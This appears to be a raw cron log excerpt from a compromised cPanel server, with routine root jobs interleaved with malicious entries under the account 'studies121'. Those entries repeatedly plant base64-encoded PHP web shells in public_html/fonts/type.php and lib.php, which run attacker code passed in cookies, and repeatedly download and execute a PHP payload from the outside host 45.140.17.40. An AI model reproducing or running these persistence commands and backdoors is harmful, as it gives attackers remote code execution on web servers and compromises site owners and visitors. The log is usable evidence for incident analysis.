Sep 10 22:55:01 ip-184-168-122-23 CROND[23286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:55:01 ip-184-168-122-23 CROND[23287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:55:01 ip-184-168-122-23 CROND[23289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:55:01 ip-184-168-122-23 CROND[23288]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:55:01 ip-184-168-122-23 CROND[23290]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:56:01 ip-184-168-122-23 CROND[23406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:56:01 ip-184-168-122-23 CROND[23410]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:56:01 ip-184-168-122-23 CROND[23408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:56:01 ip-184-168-122-23 CROND[23414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:56:01 ip-184-168-122-23 CROND[23416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:57:01 ip-184-168-122-23 CROND[23512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:57:01 ip-184-168-122-23 CROND[23514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:57:01 ip-184-168-122-23 CROND[23517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:57:01 ip-184-168-122-23 CROND[23516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:58:01 ip-184-168-122-23 CROND[23593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:58:01 ip-184-168-122-23 CROND[23594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:58:01 ip-184-168-122-23 CROND[23595]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:58:01 ip-184-168-122-23 CROND[23597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:58:01 ip-184-168-122-23 CROND[23596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:59:01 ip-184-168-122-23 CROND[23684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:59:01 ip-184-168-122-23 CROND[23686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:59:01 ip-184-168-122-23 CROND[23687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:59:01 ip-184-168-122-23 CROND[23688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:00:01 ip-184-168-122-23 CROND[23852]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 23:00:01 ip-184-168-122-23 CROND[23858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:00:01 ip-184-168-122-23 CROND[23855]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:00:01 ip-184-168-122-23 CROND[23859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:00:01 ip-184-168-122-23 CROND[23857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:00:01 ip-184-168-122-23 CROND[23856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:00:01 ip-184-168-122-23 CROND[23860]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:00:01 ip-184-168-122-23 CROND[23866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:01:01 ip-184-168-122-23 CROND[23953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:01:01 ip-184-168-122-23 CROND[23955]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 23:01:01 ip-184-168-122-23 CROND[23956]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 23:01:01 ip-184-168-122-23 CROND[23957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:01:01 ip-184-168-122-23 CROND[23959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:01:01 ip-184-168-122-23 CROND[23960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23955]: starting 0anacron
Sep 10 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23974]: finished 0anacron
Sep 10 23:02:01 ip-184-168-122-23 CROND[24056]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:02:01 ip-184-168-122-23 CROND[24058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:02:01 ip-184-168-122-23 CROND[24060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:02:01 ip-184-168-122-23 CROND[24061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:02:01 ip-184-168-122-23 CROND[24062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:03:01 ip-184-168-122-23 CROND[24150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:03:01 ip-184-168-122-23 CROND[24152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:03:01 ip-184-168-122-23 CROND[24155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:03:01 ip-184-168-122-23 CROND[24153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:04:01 ip-184-168-122-23 CROND[24242]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:04:01 ip-184-168-122-23 CROND[24245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:04:01 ip-184-168-122-23 CROND[24244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:04:01 ip-184-168-122-23 CROND[24247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:04:01 ip-184-168-122-23 CROND[24246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:05:01 ip-184-168-122-23 CROND[24349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:05:01 ip-184-168-122-23 CROND[24350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:05:01 ip-184-168-122-23 CROND[24351]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 23:05:01 ip-184-168-122-23 CROND[24355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:05:01 ip-184-168-122-23 CROND[24353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:05:01 ip-184-168-122-23 CROND[24352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:05:01 ip-184-168-122-23 CROND[24356]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:06:01 ip-184-168-122-23 CROND[24536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:06:01 ip-184-168-122-23 CROND[24540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:06:01 ip-184-168-122-23 CROND[24541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:06:01 ip-184-168-122-23 CROND[24538]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:06:01 ip-184-168-122-23 CROND[24539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
